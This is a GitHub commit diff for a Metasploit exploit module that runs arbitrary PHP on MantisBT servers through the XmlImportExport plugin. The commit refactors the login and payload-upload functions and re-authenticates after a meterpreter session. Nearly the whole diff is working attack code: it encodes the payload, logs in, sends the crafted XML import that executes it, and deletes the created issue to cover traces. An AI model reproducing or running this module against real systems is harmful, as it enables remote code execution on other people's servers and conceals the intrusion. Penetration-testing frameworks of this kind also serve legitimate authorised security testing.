Skip to content

Commit ac17780

Browse files
committed
Fix by @firefart to recover communication with the application after a meterpreter session
1 parent 6bf1f61 commit ac17780

File tree

1 file changed

+46
-36
lines changed

1 file changed

+46
-36
lines changed

modules/exploits/multi/http/mantisbt_php_exec.rb

Lines changed: 46 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -52,26 +52,7 @@ def check
5252
end
5353
end
5454

55-
def exec_php(php_code, is_check = false)
56-
57-
# remove comments, line breaks and spaces of php_code
58-
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
59-
60-
# clean b64 payload
61-
while Rex::Text.encode_base64(payload_clean) =~ /=/
62-
payload_clean = "#{ payload_clean } "
63-
end
64-
payload_b64 = Rex::Text.encode_base64(payload_clean)
65-
66-
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
67-
rand_num = Rex::Text.rand_text_numeric(1, 9)
68-
69-
if is_check
70-
timeout = 20
71-
else
72-
timeout = 3
73-
end
74-
55+
def do_login()
7556
print_status("Checking access to MantisBT...")
7657
res = send_request_cgi({
7758
'method' => 'GET',
@@ -86,13 +67,13 @@ def exec_php(php_code, is_check = false)
8667
return false
8768
end
8869

89-
cookies = res.get_cookies
70+
@cookies = res.get_cookies
9071

9172
print_status('Logging in...')
9273
res = send_request_cgi({
93-
'method' => 'POST',
94-
'uri' => normalize_uri(target_uri.path, 'login.php'),
95-
'cookie' => cookies,
74+
'method' => 'POST',
75+
'uri' => normalize_uri(target_uri.path, 'login.php'),
76+
'cookie' => @cookies,
9677
'vars_post' => {
9778
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
9879
'username' => datastore['username'],
@@ -111,13 +92,24 @@ def exec_php(php_code, is_check = false)
11192
return false
11293
end
11394

114-
cookies = "#{ cookies } #{ res.get_cookies }"
95+
@cookies = "#{ @cookies } #{ res.get_cookies }"
96+
end
97+
98+
def upload_xml(payload_b64, rand_text, is_check)
99+
100+
if is_check
101+
timeout = 20
102+
else
103+
timeout = 3
104+
end
105+
106+
rand_num = Rex::Text.rand_text_numeric(1, 9)
115107

116108
print_status("Checking XmlImportExport plugin...")
117109
res = send_request_cgi({
118110
'method' => 'GET',
119111
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
120-
'cookie' => cookies,
112+
'cookie' => @cookies,
121113
'vars_get' => {
122114
'page' => 'XmlImportExport/import',
123115
}
@@ -206,23 +198,41 @@ def exec_php(php_code, is_check = false)
206198
data_post = data.to_s
207199

208200
print_status("Sending payload...")
209-
res = send_request_cgi({
201+
return send_request_cgi({
210202
'method' => 'POST',
211203
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
212-
'headers' => {
213-
'Cookie' => cookies,
214-
},
204+
'cookie' => @cookies,
215205
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
216206
'data' => data_post,
217207
}, timeout)
208+
end
209+
210+
def exec_php(php_code, is_check = false)
211+
212+
# remove comments, line breaks and spaces of php_code
213+
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
214+
215+
# clean b64 payload
216+
while Rex::Text.encode_base64(payload_clean) =~ /=/
217+
payload_clean = "#{ payload_clean } "
218+
end
219+
payload_b64 = Rex::Text.encode_base64(payload_clean)
220+
221+
rand_text = Rex::Text.rand_text_alpha(5, 8)
218222

219-
res_payload = res
223+
do_login()
224+
225+
res_payload = upload_xml(payload_b64, rand_text, is_check)
226+
227+
# When a meterpreter session is active, communication with the application is lost.
228+
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
229+
do_login()
220230

221231
print_status("Deleting the issue (#{ rand_text })...")
222232
res = send_request_cgi({
223-
'method' => 'GET',
224-
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
225-
'cookie' => cookies,
233+
'method' => 'GET',
234+
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
235+
'cookie' => @cookies,
226236
})
227237

228238
unless res && res.code == 200
@@ -240,7 +250,7 @@ def exec_php(php_code, is_check = false)
240250
res = send_request_cgi({
241251
'method' => 'GET',
242252
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
243-
'cookie' => cookies,
253+
'cookie' => @cookies,
244254
'vars_get' => {
245255
'bug_arr[]' => issue_id,
246256
'action' => 'DELETE',
@@ -257,7 +267,7 @@ def exec_php(php_code, is_check = false)
257267
res = send_request_cgi({
258268
'method' => 'POST',
259269
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
260-
'cookie' => cookies,
270+
'cookie' => @cookies,
261271
'vars_post' => {
262272
'bug_actiongroup_DELETE_token' => csrf_token,
263273
'bug_arr[]' => issue_id,

0 commit comments

Comments
 (0)